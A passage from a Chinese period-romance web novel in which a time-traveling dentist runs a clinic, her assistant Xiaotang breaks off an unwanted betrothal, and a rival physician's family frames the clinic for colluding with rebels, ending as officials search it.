苏夫人还有一桩心事,妍娘岁数也到了谈婚论嫁的时候。原本她和丈夫想着,他们家就一个孩子,留她在膝下承欢,慢慢挑选夫婿。医馆是个长远依靠,他们有底气养着妍娘。谁成想一朝变故,医馆竟要妍娘来支撑?医馆日日离不开人,妍娘还没觅得良人,这让她怎能不着急。
可恨她这副病弱身体,轻易出不得门,也不知晓最近有哪些优秀男儿,好给妍娘相看。
对了,张大娘家的小桃与妍娘年岁相近,肯定也在给小桃相看,她可以托张大娘帮妍娘打听打听。
苏夫人想到此处,忙嘱咐苏颜妍:“你自个儿若忙不过来,可以问问张大娘,让她家小桃和你一起,千万别累着自己。”
苏颜妍应道:“娘放心吧,我晓得。”
回春堂,苏颜妍和小桃一起,把后厅客居收拾出两间来。
李真李善兄妹两人快要到了,他们得给人家准备好住处。
她一向佩服小桃,看她手脚麻利,三下五除二,将房间规整的井井有条。
真是适合当助理啊!
她心下一动,问道:“小桃,你想不想跟着我一起学习医学护理,我可以教你。”
小桃停顿了一下,不可置信地指着自己问道:“教我吗?以后像苏姑娘这样,给大家治疗?”
苏颜妍点头:“对呀,新来的李家兄妹有自己擅长的治疗领域,我和他们学的不一样,正好需要一个帮手呢。你如果想学的话,我教你好不好?”
小桃结结巴巴说道:“我…我…我当然想学,只是…只是我这样大了,还能行吗?”她一脸急切,雀跃又胆怯,整个人乱成一团毛球。
“活到老学到老,只要你想要学习,什么时候都不算晚呀。相信自己,你非常行。”苏颜妍笑起来,给了她满分认可。
小桃和她对视着,慢慢也笑起来,笑着笑着,她红了眼眶。
等李真李善两人到达回春堂,苏颜妍已经开始教小桃熟悉牙医常用器械材料。小桃细心麻利又好学,她如同一块海绵,吸收着每一滴知识。
回春堂现在日日营业,四人年岁相近,年轻有朝气,整个医馆也颇有蓬勃生机,真有“回春”之意。
与回春堂相比,济世堂的气氛就大有不同。
白延琅一去不复返,岐黄谷中还传信给林家掌柜,将其当众伤人一事娓娓道出,并含蓄提醒“得罪贵人”。传信送达,第一个抢先查看的,是林家的小姐林玉珠。
这林玉珠虽说是个能将一嫁夫家家业席卷吞吃的狠人,对白延琅却痴心一片。她收到心上人下落不明得罪贵人的消息,真真忧惧恐慌,五内俱焚。
安排人手暗中查找白延琅是其一,带赔礼送往岐黄谷收尾是其二,一片郁气恨恨直冲苏颜妍而去是其三。她心思一转,召来心腹,密语一番,起身携传信去往父亲林有仁处。
济世堂坐落在京师东城,周边都是富贵人家,建筑颇为奢华。林玉珠过了几道白玉阶门,进入父亲休息的正居室,红木门在丛竹掩映中,添了点斑驳
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疏影。一阵风吹过,树叶声飒飒,仿佛暗影凑在一起窃窃私语。
林玉珠轻敲房门,叫了声“父亲”,不待回应,便推门而入。
门内,成套的檀木家具雕刻精美花纹,一尘不染,泛着油润光泽。林有仁一身青绉绸暗纹袍,头戴一顶黑纱头巾,腰掎银带,脚踏皂靴;七尺身长,微胖富态,面皮白净,八字胡修剪齐整匀称。看打扮,不像是个大夫,竟似个哪个县衙里的师爷。
他睁开眼,一对眼瞳浅淡如重铜,明明没什么表情,却让人感受到被审视被算计的微微不适感。
林玉珠眼眶红红,行礼道:“父亲。”
林有仁转动眼珠,看着女儿,问:“何故一副受屈作态?说过你多少次,情绪要内敛,要不动声色,方能周密成事。你自从归宗,性情矜躁不少,日后若想管束掌家,还得多磨练。”
林玉珠外貌并不肖父,身材圆润,其貌不扬。但收敛情绪后,神色间颇有其父姿态:“父亲,女儿知晓。此次事出有因,女儿也是心中激愤。这是岐黄谷来信,请您过目便知。”
她从袖中摸出带着余温的信,交付给林有仁,待他一目十行扫完,咬了咬下唇,道:“父亲,虽岐黄谷宋使君不便明示,我也知道,白哥出事,与那苏小娘脱不了干系。那小蹄子,先前勾着白哥,几次三番坏我们好事。这次竟能攀附岐黄谷的人,陷害白哥,我不能忍她。”
林有仁哼了一声,道:“先前你使人让她落水,就太过仓促,当时就该一了百了处理了她。对待对手心慈手软,一次不成,后面再下手,可就不那么容易了。”
“谁知晓那丫头命那么硬,白哥说她不通水性,落水一刻钟都没能溺死,还恰好被村妇发现救起。白哥和她撕破脸,日后除了依附咱们林家,没有其他活路,正好可以暗中辅佐我。父亲,她现在已经开始攀上贵人,咱们不能让她继续下去,不然回春堂可真就到不了咱们手里了。”林玉珠道:“我们现在找人接近她,趁她尚未发展起来,给她来一记釜底抽薪。”
林有仁问:“你想怎么做?”
林玉珠道:“她最近和救她的那个村妇家的女儿时时走动,女儿想着,咱们明面上不好与她接触,通过她身边的人,她肯定不会提防。我记得父亲说过,上面的人正在京城严查安南逆贼,到时候,她家医馆里多了少了点什么要命的东西,都是咱们说了算。”
林有仁摸了摸自己的两瞥小胡子,勾起嘴角,点了点头:“不错,到时候,她与逆贼暗中勾结,和我们济世堂可没有半点关系。苏南星娶的夫人草包一个,女儿犯事,定会慌得六神无主,到时候得求着我们济世堂伸手救人。哈哈哈,玉珠,你在外演得冲动粗莽,心思却如此缜密,便是被人暗地嘲几句,也没有人会怀疑到你头上,不错不错,不愧是我的女儿,好计谋!”
林玉珠隐下眼中的怨毒之色,娇声道:“那是自然。父亲,这安排人手的事……”
林有仁道:“拿上我的令牌,可以调动乙组五成人手,你看着安排,务必在月底,办成此事。”
12. 非偶
济世堂在京城稳居医馆翘首,林有仁暗地里的手段自是居功甚伟。他手下有甲乙丙丁四组人员,分别经手济世堂与供药商、各地医馆的各类事项,利益纠缠如同蛛网。
林玉珠被允许调用乙组人手,算是得到了很大的支持,她早就想对付苏颜妍这小丫头,对救了苏颜妍的小桃一家更是恶意满满。这次经过林有仁许可,她眼珠子一转,便想出一个毒计来。
她心下暗道:算你们倒霉,谁让你们不长眼,跟苏家那丫头走那么近,遭得一番劫难,都是你们自找的。
回春堂中,苏颜妍照例巡视医馆,带着小桃各处转悠。
李真和李善坐诊后,医馆周边乡亲百姓,有个头疼脑热小毛病,也敢就近上门,求医问药。医馆慢慢恢复苏父在时的光景,人来人往,解困除厄。
苏颜妍手中掐着一本自制记事薄,拿着烧制的碳条笔边转边写写画画,她对小桃说道:“医馆现在算是起色了,周边乡亲们总算不用每日提心吊胆,担心有点病没处看。城中医馆虽多,离这边都有些距离,收费也贵。济世堂在东城富人区,要价更是惊人,寻常百姓去一次,得倾家荡产。我刚接手医馆时,有位大娘来看诊,进门就口称''苏大夫'',知道我爹不在,险些哭得起不来。你道她为什么哭?”
小桃有些晃神,听到苏颜妍问她,啊了一声,思忖半晌,回答道:“可是因为苏大夫仁心仁义,她担心你爹有危险?”
苏颜妍说道:“我一开始也这样想,就安慰她说,‘老人家,我父亲许是遇见什么特殊事,耽搁了些时间,我们家人都相信他总会回来的。’那老妇人还是哭个不停。”
小桃奇怪问道:“这是为什么?怎么苏姑娘你安慰她了,她还是这样伤心?”
苏颜妍神情悲悯,答道:“她家遇上灾祸,家徒四壁,拿不出钱。以往我父亲会给她开平价方子,药草可以自己去山野里寻找,找不到的,平替药材也花不了多少钱。这京中其他医馆,药材都是济世堂林家统一药材商定的价,她就是有方子,也买不起药。”
小桃听了,也心有戚戚:“可不是,这看病吃药,寻常人家也是难题。村里人家吃饭都是勉强糊口,哪有闲钱去买药治病。能挨都挨着,不痛就拖着。也就是苏大夫人善好说话,肯给大伙儿指点,让大伙儿能自己找药草,还能用菜蔬蛋粮抵药钱。就这样,还有那牙齿酥软烂掉的,喝药都没得医治,都自己扛着呢。”
“看病难,看病贵,真是古往今来大难题。”苏颜妍在本子上画了个勾,总结道:“医馆如果没有医德医风建设,腐败总能如虫豸滋生。小桃,我们得记住自己的初心,学医是为了什么?是为了给更多的百姓带去希望,让他们看得起病,治得起病。”
小桃点点头,又有些失落地叹了口气:“苏姑娘,我当然记得,能跟着你学习,我心都是烧着的。想到能像姑娘你一样,哪怕帮你打下手,我都高兴的睡不着。真想一直都跟着你,为父老乡亲们带来希望。”
苏颜妍眉头一蹙,从她的话语中察觉到不妥之处。她看着小桃,发现她垂着眼,脸上满是低落,便问道:“小桃,我教你的,你学得很认真,做得很不错啊。你是不是有什么心事?”
小桃并没有上过学堂,也不认识几个字。但她有一颗好学的心,苏颜妍教她认识各种牙科工具,认识各种材料,她能为了记住这些知识忘记去吃饭睡觉。口中念念有词,眼里专注痴迷,苏颜妍都佩服她的努力。
这样刻苦的小桃应该充满干劲和希望,怎么会忧心忡忡担忧以后的事呢?
她从来没有说要让小桃离开啊。
小桃垂下头,语气低落:“苏姑娘,我年岁不小,有人到我家找我娘,给我说亲了。我娘本来支持我跟你学本事,后来,媒婆说的人家条件十分好,我娘就犹豫了,怕过了这村没这店。我怕定亲以后,不能再来医馆学习。苏姑娘,我好担心。”
苏颜妍沉默一瞬,犹疑着道:“小桃,你和我年岁差不多吧?你才多大,这就被催婚了?”
小桃结结巴巴道:“苏姑娘,我没有说你,只是…只是我们不一样的。虽说你比我大一岁,但…但我只是一个普通农家女,能嫁的人也都是乡野村户,偶然撞大运才有富贵人家来提亲,我娘就心动了。你家有医馆,还在城里有家产,我们都猜测着,你娘会让你招赘婿呢。”
苏颜妍哑然失笑,道:“我倒是不着急,我娘都没和我谈起过,我以为婚嫁这事还远着呢。没想到你居然就遇上了,怎么还没定亲,这就担心啦?张大娘真心疼你,她看得上的人家,不会亏待你吧?”
小桃听到苏颜妍夸她娘,开朗了点,道:“我娘只说先让我跟着姑娘你好好学,媒人夸人,向来夸大三分,她托我哥哥嫂嫂去城里,找亲戚打听去了。我也不懂,就是奇怪那位齐家郎君在城里好好的,能选的人不会少,怎么特地托人到村里,找我这么个农家女。我们从没见过,他家怎么就能找上我家。”
“千里姻缘一线牵,兴许是媒人知道你家,一说和就成了?”苏颜妍挠头,她从现代到古代,都没有经历过相亲说媒这等人生大事,两眼一抹黑,小桃的困惑,她是半点没头绪。
小桃绞了绞手指,又低落起来:“不管他家怎样,我真不想嫁人。我现在只想跟着苏姑娘你学着做事,呆在医馆,我真自在。从小到大,我只在姑娘身边,有过这样快活的日子。一定亲,感觉我这辈子都要绑在别人家里了。苏姑娘,我这样想,是不是很坏?”
苏颜妍拍拍她的手,拉着她,温和地说道:“小桃,你有自己的追求,这永远不是一件坏事。我们现在过的好好的,就像走在一条熟悉的路上,我们知道这条路有几块石头几个坑,闭着眼都能摸回家。定亲嫁人是件有风险的事情,就像换了一条陌生的路。我们担心路上有拦路石,有凹坑,路边山林里有野兽,有
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匪人,这种担心是本能反应,有警惕心怎么会是坏事呢?对不对?”
“苏姑娘说的真好,我心里就是这样怕,却没法说清楚。就是这个理,我心里就担忧这些哩。这些也没法告诉我娘,她只会让我好好学本事,时间到了就嫁人,跟着夫家磨一磨,熬出头来就能过好日子。唉,女子真难,总要被安排嫁鸡嫁狗,要是能随心意自己过日子,那该多好。”
“嫁人也能出来吧?”苏颜妍好奇问道。
小桃摇摇头:“新妇很难的,婆家会立规矩,要被磋磨好久呢。村里都这样,听说大户人家规矩更多。嫁了人,女子在娘家就成了泼出去的水,回去也是外人。离了婆家,连个立脚的地方都没有,哪里能出的去。”
“可是,济世堂的林小姐不就回家了?”苏颜妍被小桃的话吓了一跳,她真没想到这个朝代女子人身自由艰难到这地步。
“林小姐暗地里被说的可难听呢,她夫家全家人都没了,她带着夫家全部家产,才没人拦着她归宗的。普通妇人没有财产,被夫家拿捏的死死的,被典卖的都有可能呢。”小桃回应道。
苏颜妍:……什么可怕的封建世道。
小桃的担忧如风吹星火,点燃苏颜妍心头的烦闷,嫁人,真的这么可怕吗?她的年纪比小桃还大,苏夫人那里,是不是也有媒人给她说和,就等着哪天一个暗雷,炸响在她身上?
等小桃再次来到回春堂,她娘果然应下了她和那位齐郎君的婚事。
小桃红着眼眶,说她哥哥嫂嫂打听过,齐家郎君四角俱全,没有什么不良嗜好,相貌也齐整,说她这次真是走大运。齐家下定光银钱就给了十两,就等着下月娶妻了。
“这么急?”苏颜妍头皮发麻,小桃现在才18岁,一说定亲事,就被赶着推着嫁人。
“媒人说齐郎君赶考拖的岁数大了,让他先成亲再立业。我这次是来跟苏姑娘你告别,娘让我回家待嫁,要给夫家人绣荷包敬礼,没时间出来了。”小桃擦擦泪,对苏颜妍说道:“苏姑娘,如果以后我得了空,还能来找你学本事吗?”
苏颜妍无声叹息,点头回她:“自然可以。”
只要她想学,她永远愿意教。
两人在房中依依惜别,外面却有伙计来传话:“苏姑娘,李大夫差我来问,回春堂来了位郎君,自称齐大,要找小桃姑娘。”
小桃一惊,抬头诧异问道:“他怎么会到医馆来?”
苏颜妍心下一转,了然问小桃:“是和你定亲的那个齐家郎君?”
小桃点头,用指腹擦干眼角泪水,起身道:“苏姑娘,我来时,只有我娘知道。我去看看他,怎么会到这里找我。”
苏颜妍皱着眉头,心头一阵隐忧,她总觉得,小桃这事,太急太快,就像某种急迫怪异之物紧紧跟随在阴影中,透着一股不好的味道。
她对小桃说道:“我和你一起去会会他。”
13. 来风
苏颜妍并不会以貌取人,可她见到齐大郎,仍旧忍不住暗暗皱眉。
这人身量不高,不瘦不胖,衣冠楚楚,看得出家境确实不错。只一张脸生的,五官各有自己的想法,挤在一起,显得滑稽。古代取官,默认相貌端正,这位齐家郎君,往好里说慕文好学,正常论,就算考中,也不会被授官吧。媒婆果然惯会夸张,这样也算是一表人才?
更别提这位齐大郎,一双眯眯眼看人,无端显得猥琐,他看向女子的眼神,总感觉色眯眯的。苏颜妍略感不适,她看李善也蹙起眉,李真起身挡在妹妹身前,阻止了让人反感的目光。
“你怎么到这里来了,谁让你来的。”小桃气鼓鼓地问道。
齐大郎笑嘻嘻地凑上前,不顾小桃连连后退,伸手捉向她,道:“小桃娘子,你我都是定了亲的关系了,你一个人出门,我怎么能放心让你独自一人出来。要当我齐家的媳妇,可得多注重自己的清白。不然,我齐家锦绣家业,干嘛娶一个失贞的贱人。”
“你……”小桃一瞬红了眼,脸上先是涨红,后又转为青白色,泪水在眼眶中滚动,她咬着唇不肯让它落下来。
苏颜妍错愕大于惊怒,她没想到张大娘千挑百选,最后居然给小桃找了这么一个男人定亲。难道是被蒙骗了?她百思不得其解,却仍然在齐大郎要抓握住小桃的手时,将小桃向后一扯,顺势躲开。
她对外面的伙计喊进来,指着不肯罢休的齐大郎,道:“把这个人赶出去。”
齐大郎冷哼,斜着眼,满脸不屑道:“苏小娘子,我劝你少管别人家的闲事。现在你得罪了我,等小桃进了我齐家的门,她可要替你,把今日的冒犯,一点一点偿还。你当得一时好人,却让她日后遭罪,何必呢。”
苏颜妍拍着小桃的背,将她圈到怀中,瞪着齐大郎道:“现在小桃还不是你家的人,轮不到你来指指点点。日后,哼,你有没有日后,还说不准呢。”
她挥手,指向门外,呵道:“滚出去!”
齐大郎眯着一双绿豆眼,阴邪一笑,甩了甩手往门外走,边走边放话:“嘿,你这小娘子,可真辣的带劲。日后,有你好受的。”
齐大郎走了,小桃整个人呆呆的,像一株蔫了的草。
苏颜妍担心她,留她在医馆,托人去张大娘家带了口信,请她家人来接。
张大娘来的很快,看到小桃就抱着她哭出来:“我的孩儿,你这是走了什么背运,怎么就定下了这种人家!闺女,你别难受,娘找你哥去退亲,咱们不跟他。”
小桃红着眼,头一点一点,颈骨艰难支撑起头颅,扑进张大娘怀里放声大哭。
苏颜妍心中戚戚,小桃已经算是很得家人宠爱的女孩了,就这样,还能遇见齐大郎这种奇葩。这个朝代,如果都是齐大郎或者白延琅这种男人,那有什么必要结婚啊。没苦给自己找苦吃吗?苏夫人可千万别给她乱点鸳鸯谱。除非,找的是仲景这种……
噫!苏颜妍用力摇晃脑袋,把某个浮到脑海里的男人甩出去。
张大娘和小桃大哭一场,慢慢平缓情绪,来和苏颜妍道谢告别。
“苏姑娘,谢谢你今日护着小桃。媒人带我去齐家相看时,那齐大郎君长得不像样,好歹装出来个人样。我真没想到定亲后他竟改了一副嘴脸,能做出这样的下作事,险些害了我闺女。”
苏颜妍拦着张大娘,不受她的礼,她搀扶着张大娘,安慰道:“大娘,能在婚前看清楚对方的人品,比起让他伪装到成亲后,咱们能及时止损,已经算是幸运的了。今日他能上门在人前堵着小桃口无遮拦,日后必定更不堪,这种人家,咱们可千万别沾。小桃与我投缘,我接手医馆,她帮我良多。日后,只要小桃想来,我这里,永远有小桃的位置。”
小桃郑重给苏颜妍行了个礼,虽眼睛肿着,神情却很坚定:“苏姑娘,我喜欢和你在一起,你教我的知识,我记在心里。苏姑娘有仁心善意,你说过想让景朝人人都有一口好牙,不再受牙疾困扰,这也是我的心愿。我愿与姑娘一起,为乡亲父老尽自己的一份力。”
她转身又给张大娘行了一礼:“娘,小桃不想嫁人,不管是齐大郎还是其他什么人,我都不乐意。您回去退亲后,别让媒婆给我找人家了。我想跟着苏姑娘,跟着她学本事救人。娘您允我吧。”
张大娘不料小桃下了这样的决心,一时心乱如麻。
她一生遵循父母之命,媒妁之言,相夫教子,日子过的不算好,也不算差。她心疼闺女,也心疼给闺女相看定亲的人家看走了眼,但她没想到小桃能下决心说出不想嫁人这样堪称离经叛道的话。
她握着小桃的手,紧紧地,虎口都开始泛白:“小桃,你这是吓着了,娘先和你一起回家。齐大郎不好,咱先把亲退了。我来时还听说,城里最近到处都在搜查什么逆党,乱得很,咱们先呆在家里,避一避。”
她匆匆对苏颜妍道别,眉间惶然之色溢出,话也颠三倒四的:“苏姑娘,我先带小桃回家了。你在医馆里也要小心,官差到处搜查,好些店铺都遭了殃,真是吓人。小桃先不出来,得避一避,我看不见她,心里慌得很。”
苏颜妍更喜欢小桃了,她喜欢小桃跳脱封建桎梏的洒脱,她佩服小桃敢想敢说的勇气。她也理解张大娘此刻的慌乱心急,她没有拦着张大娘,只是对小桃说:“我在回春堂一天,这医馆里就有你的位置。”
小桃抿着唇,冲苏颜妍点头,跟着张大娘,一步一回首,离开回春堂。
苏颜妍挥着手,一直到看不见小桃的影子。她目光落在远方天地交汇处,天光云影,晦暗交织,融成一块混沌色。她心中唏嘘感慨,五味杂陈,说不清是因为小桃,还是因为别的什么。
隔天,小桃果然没有来。苏颜妍有些颓唐,软趴趴坐在医馆前台,盯着门口发呆。
李真和李善看她神情萎靡,关切地上前要给她搭
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脉诊断,她三连拒绝后,只好放任她呆在原地,继续神游。
她倒不是生病,只是小桃不在,她打不起精神,总觉得干什么都不得劲。前台桌上还摆着她上次和小桃一起研制的古法牙膏,苏颜妍手指有一搭没一搭的戳弄把玩着它,脑中空空,机器人一样。
医馆门外传来一阵阵嘈杂人声,掺着呵斥与哀求,断断续续飘在她耳边。苏颜妍逐渐回神,竖起耳朵,试图捕捉模糊的声音。
“苏姑娘,你抻着脖子干什么?”一道苍老的女声响起。
苏颜妍一个激灵,吓得汗毛直竖,猛地从胡椅上跳起。她顺着声音响起的位置看过去,舒了一口气,带着点埋怨幽幽道:“陈婆婆,您什么时候走进来的,我是一点脚步声都没听到,您这一开口,吓我一跳。”
陈婆婆满脸皱纹,头发雪白,皮肤松弛垂下,人看着倒还和蔼。她咧着仅剩几颗牙的嘴,笑呵呵地说道:“老婆子我走进来,也没看见你窝在桌台后边,把我也吓了一跳呢。还以为外边乱糟糟闹着抓什么叛党,悄悄藏着这里哩。你这丫头,青天白日没点精神,怎么没和张家那小丫头一起转转?没看你们抱个本子转来转去,我都不习惯哩。”
苏颜妍拉出一张圆凳,示意陈婆婆坐下。她没有说小桃的事情,只一个劲问道:“外边是在抓叛党?什么叛党还暗藏在这里?咱们这条街连个生面孔都少见,都是街坊邻居吧?”
“老婆子哪知道这些事,人老眼花耳背的,左右路过时听了一耳朵,说不明白。那些官爷哪管是不是熟人,手里有调令,满街乱闯。这一乱,有的是愿意给他们好处的人哩。官爷得了好处就离开啦,想来叛党不在这里哩。”
苏颜妍:……
好熟悉的吃拿卡要一条龙,源远流长啊。
她一脸无语,不再关注疑似官差腐败的插曲。她问陈婆婆:“婆婆你来医馆,是来看诊吗?李大夫在候诊室,我送您过去?”
陈婆婆摆摆手,慢慢悠悠说道:“我身体好着哩,不是来找大夫,是来找张家小丫头的哩。有人找她,遇见老婆子,让我帮忙给她带东西哩。”
苏颜妍疑惑道:“谁会托您给小桃带东西?他知道小桃在医馆,怎么不直接送到医馆?就算不来医馆,怎么不直接送到小桃家里?”
“这就不知道哩,他把东西撂下就走了,老婆子追不上哩。”陈婆婆哆嗦着手,从衣襟里摸出一个布袋,颤颤巍巍打开,从里面取出一个荷包。
她把东西放在桌上:精致的荷包,绣工了得,用料也是昂贵的某种绸缎,看上去价值不菲。荷包鼓鼓囊囊,显然塞了什么在里面。
这东西,完全和小桃没有一丝搭得上的,格格不入,十分可疑。
苏颜妍送走陈婆婆,盯着荷包,沉吟了会儿,招呼伙计去张大娘家给小桃传了个信。
这东西既然指明是给小桃的,她给小桃就是。或许小桃自己能知道这荷包的来历呢。
14. 余孽
苏颜妍再见到小桃,被她吓了一大跳。
小桃原本圆润的脸显得瘦削,原本血气充足的健康红晕,只剩浅浅一层苍白。一身淡粉上衣,挂在肩头,显得空荡荡的,只一双眼睛,亮得惊人。
“小桃,你怎么一下子瘦了这么多!天哪,你家里人怎么不来告诉我一声,我该去看看你的!”苏颜妍又是心疼又是着急,她只以为小桃遇上糟心的定亲对象,在家里静静心,加上城里最近确实乱糟糟,也没催她来医馆。谁知道小桃居然在家能休养成这幅鬼样子!张大娘是怎么回事嘛!
小桃只是笑,她并没有像之前那样咋咋呼呼,把心里小小烦恼叽叽喳喳告诉苏颜妍。短短几日,她像是一只完成蜕变的蝴蝶,不仅外表变了,心性也变了。
她没有回答苏颜妍的疑问,反而转开了话头,说道:“苏姑娘,你这次找我,说是有人捎带给我一个什么东西?”
苏颜妍见小桃避开了她的家事,心中叹息,不再追问,顺着她回答道:“对,也不知是谁,托后街陈婆婆送来一个荷包。喏,就是这个,做工还挺精致的,里面应该有什么东西,我没有打开。”
苏颜妍把荷包放在小桃面前,小桃拿过去,并不避讳苏颜妍,直接打开,从里面取出一团揉捏成球状的纸。纸质粗糙,和质感高级的荷包并不相称,两者摆在一起,分明是两个人的东西。
小桃一一抚平纸张上的褶皱,轻轻叹了口气,死水一样平静的表情终于变了,变成爱惜与向往。
她把带着褶皱的纸递给苏颜妍,道:“这是苏姑娘教我认识医馆工具的时候,我怕自己脑子笨记不住,暗地里偷偷画的。有天画纸不见了,我找了好久都没找到,还以为是自己大意丢在了哪里。却不知道是被谁得去了,看这荷包,用的是苏绸,这人还挺有身份的,普通百姓可买不到用不起。”
苏颜妍接过纸,纸上用碳条歪歪斜斜画满了萧景琮给她做出的牙科专用器具,每一笔画出的线条,都能看出小桃描画时有多么用心。小桃不会写字,纸上只有画。苏颜妍能想到她每天悄悄拿出这张图画秘籍对照实物暗暗努力学习的样子。
那时的小桃活力满满,充满希望与干劲,与现在判若两人。
苏颜妍心中酸楚,她不想让小桃看出来,努力压住那口气,和她说起来:“我也想不出是谁,医馆日日开门,他要把东西给你,怎么不直接送到医馆里,还绕了一圈找了陈婆婆。陈婆婆说是没看清那人的样貌,想来也不是咱们周边的人呢。”
小桃想了想,问道:“我如果每天都来医馆,正好能经过陈婆婆家。许是那人想让陈婆婆中途拦下我,然后给我这个荷包。我想不出来这张纸能有什么不好叫苏姑娘你知晓的。”
苏颜妍心中咯噔一下,被小桃点醒,她想到了白延琅。
小桃画的器具,正是苏颜妍根据现代牙科工具设计,由萧景琮找人打造出的新玩意儿。白延琅不知从何处得知,污蔑她攀附岐黄谷,作弊得来新工具,直至气急败坏在谷中动手。在她印象里,这些工具是牙医常用,平日都司空见惯,也没有藏着掖着,当成什么稀奇东西。现在细细思忖,工具制式对于这个朝代,应当是相当新颖并不常见的。
时间长河从不显露,只会默默打磨,嶙峋巨石随着时光流逝,都能变成圆润的鹅卵石。这些工具也是如此,或许它们刚发明出来时,并不完美,只是随着一代又一代人使用改进,最终打磨成了她记忆里的样子。
她画完图纸,萧承琮看到拿去找人制作好,他态度太随意了,她被他带歪,也没意识到这些工具,对这个朝代的医者,是降维打击般的存在。怪不得白延琅之前信誓旦旦,一心觉得她和岐黄谷暗地有勾结。
岐黄谷是这里最顶尖最优秀的医者聚集之地,这样的工具一出现,懂得它们价值的人想到岐黄谷太正常了。他们怎么会想到,苏颜妍从久远的未来穿越而来,自带划时代的金手指般的知识!
想通这点,苏颜妍呼出一口气,不管那个想要联系小桃的神秘人要做什么,对于这些牙科器具,她心中有底气,完全不虚。
小桃看她若有所思的样子,又继续问道:“陈婆婆除了捎来这个荷包,还说了其他什么话吗?”这事确实古怪,她想不通,只能多问几句,等苏姑娘回忆,从里面多寻找线索。
苏颜妍道:“关于荷包,陈婆婆知道的不多。她倒是和我闲谈,说起城里最近有不少官差巡逻,要找什么藏匿起来的人。”
“安南逆党?”小桃一听就接话道:“已经找了一段时间了,还没找到吗?”
苏颜妍好奇:“什么安南逆党?他们敢藏进京城里?”这么嚣张的叛徒?
小桃奇怪地看了看苏颜妍,没想到她真的不清楚,慢慢给她说道:“苏姑娘可能以前一直在家中,没有听说过。我家虽然不在城中,但靠着渃河,人来人往,倒是知道不少消息。”
“三年前,咱们圣上还是太子,传言先帝不喜欢他,只是没有合适的人选。安南王就起了异心,安排世子入京,拉拢百官,想取代太子。当时京里可乱了,太子被打压得厉害,先帝宁肯让他的义子摄政都不肯放权给太子。摄政王和安南世子两方势力针尖对麦芒,时不时就有朝中官员下狱,咱们周边乡亲都怕得很,担心朝中起了乱子,一家老小都没有好日子过。后来,先帝山陵崩,安南王起兵意图谋反,被摄政王剿灭。摄政王回京后,和太子不知为何起了冲突,带着自己的兵马去了安南。那些原先属于安南王府的暗探后手什么的,就在京城里潜伏起来,没有处理干净。太子登基后,他们时不时搞出一些乱子。”
“搞得最多的就是传谣,有说先帝是要废太子,让摄政王当皇帝的;有说圣上心狠手辣,冷酷灭杀兄弟,就为了稳固皇位的;有说圣上血统存疑,得位不正,要集结人手拨乱反正的……我们平头百姓,哪里知道这些消息是真是假,想来他们都谋反了,也未必有传言说的那么正义。倒是圣上继位后,并没有管这些叛党,也没有再去管摄政王。他们传得流言说得难听,圣上也没有澄清理会过。”
“奇怪的是,最近倒是开始搜捕这些京中的叛党了。想来圣上现在已经收拢了自己的人手,要彻底除掉这些人了?”
苏颜妍叹为观止。
果然封建王朝改朝换代都是血雨腥风啊。
啧啧啧,这权势流动
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的声响,这利益飓风卷过的声势!
心机太子忍辱负重卧薪尝胆,苟到他爹挂掉,一朝翻身。昔日的两大竞争对手,互相撕咬搏杀,一个全家消消乐,一个被发配到对手地盘上回不了京城大本营。当上皇帝后先是放任流言传播,他不动如山,展现仁慈;等权势稳固立刻斩草除根,雷利风行震慑朝野,立威易如反掌。
了不起啊这位圣上!
远在皇宫心有牵念、忙着清除阻碍的萧景琮耳朵一热,鼻子一痒:“阿欠……”
随侍宫人跪地规劝:“陛下,此处风大,求您当心龙体。”
萧景琮回宫就没得空,十多日没能见着苏颜妍,胸中燃着一团火,只恨不得立刻就去到心上人身边。他厌烦地摔了眼前的奏折,对随侍道:“把这摞奏折扔内阁去。告诉左相,鸡毛蒜皮的小事让百官不许再写折子,浪费朕时间。除了军机大事,一律让内阁处理。”
宫人叩首唯唯,屏气凝声,不敢多言。
回春堂,苏颜妍听小桃说着京中传言,眼界大开,只觉如同听了话本一般精彩。果然吃瓜使人快乐,连小桃都说着说着,神采飞扬了起来。她有意让小桃从坏心事里走出,故意耍宝逗趣,引得小桃时不时捂着嘴笑出声来。
正谈笑着,后厅门“咚咚”两声,传来前堂伙计的声音:“苏姑娘,医馆来了一伙儿官差,正在前厅,指名要见您。”
小桃的声音戛然而止,她脸上浮现忧色,眼睛眨也不眨看着苏颜妍:“姑娘,这群官差怕是来者不善。”
苏颜妍不想她担心,放轻松口吻,对她说道:“别怕,咱们知道他们在找安南逆党嘛,和我们医馆没有关系。咱们清清白白治病救人,顶多被盘查询问一番,不会有事的。”
小桃说:“要是他们想要银钱,故意找茬怎么办?之前就听说过这事,咱们医馆也才重新开门没几天,给乡亲父老看诊都只收最低的本钱,哪有利润分给他们呀。”
苏颜妍道:“也未必是这样,我先去前厅看看,咱们行得正坐得直,没什么可怕的。”
回春堂前厅,五六个官差身着统一的皂服,每人手中都抓着兵器,将门厅堵得严严实实。见到苏颜妍,为首一人上前扬了扬手中令牌,声音冷漠肃杀:“官府搜捕安南逆党,有人供认,回春堂当家之人,与逆党暗中勾结。这位姑娘,请和我们去衙门走一趟吧。”
苏颜妍不料他们见面就要捉人,立刻反抗,大声喝问道:“没凭没据,就算是官府,也不能污蔑良民!我回春堂每日人来人往,都是街坊四邻,彼此熟识,何曾有陌生人来过。你们官差奉命搜捕,可没有奉命随便捉百姓凑数。”
小桃也抢上前来,护住苏颜妍,隔开她与官差,帮腔道:“官爷,定是有人陷害,我们姑娘绝不会接触逆党的。官府拿人也要讲理,怎么能胡乱抓人!天子脚下,你们这样欺人,就不怕逼得人去敲登闻鼓!”
拿人的官差听到敲登闻鼓几个字,停顿了下。他没有再伸手,只站定原地,皱着眉说道:“好叫你们知道,我们是收到消息才来的。你们若不服,可敢让我等搜一搜医馆?”
苏颜妍冷冷地说:“你们尽管搜。”
15. 作保
苏颜妍总算切身体会到为什么会有人宁肯给官差塞钱也不想被搜查了。这哪里叫搜查,简直就是一群哈士奇从笼子里冲了出来,疯狂拆家现场。桌椅板凳箱柜药架无一幸免,从井井有条到完全被破坏,只用了几息。
她此刻无比怀念网络直播和法治社会,遇到粗暴执法还能曝光投诉,而不像现在这鬼地方,气得头脑空白还束手无策。
小桃紧紧托着她的手肘,消瘦的身体靠过来,带来融融的暖意,苏颜妍有意识地规律深呼吸,强迫自己冷静下来。这是她的医馆,她倒要看看,能在她的地盘上搞出什么幺蛾子!
官差们搜查仗势不小,李真李善与前来看诊的人一起,循着声音沉默着站出来。人一多,搜查的动作小了点,官差很快带着医馆里找到的东西过来,和苏颜妍面对面站成两派。
